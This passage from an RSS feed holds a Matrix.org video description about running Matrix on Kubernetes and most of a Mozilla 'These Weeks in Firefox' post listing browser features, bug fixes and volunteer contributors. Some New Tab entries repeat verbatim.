<description><![CDATA[Author: Matrixdotorg - Bewertung: 20x - Views:334 A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:5...]]></description>
<link>https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 20x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mMsyF3bQqWs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>A few years ago we deployed Matrix with docker-compose. Now, let&#039;s give it a go on Kubernetes!<br />
<br />
00:00 Introduction<br />
01:40 Kubernetes Makes Things Simple<br />
04:59 Getting Started<br />
06:21 Installing Kubernetes<br />
14:41 Deploying and Removing a Wordpress<br />
20:53 Deploying A Matrix Stack<br />
31:02 More Services Almost For Free<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
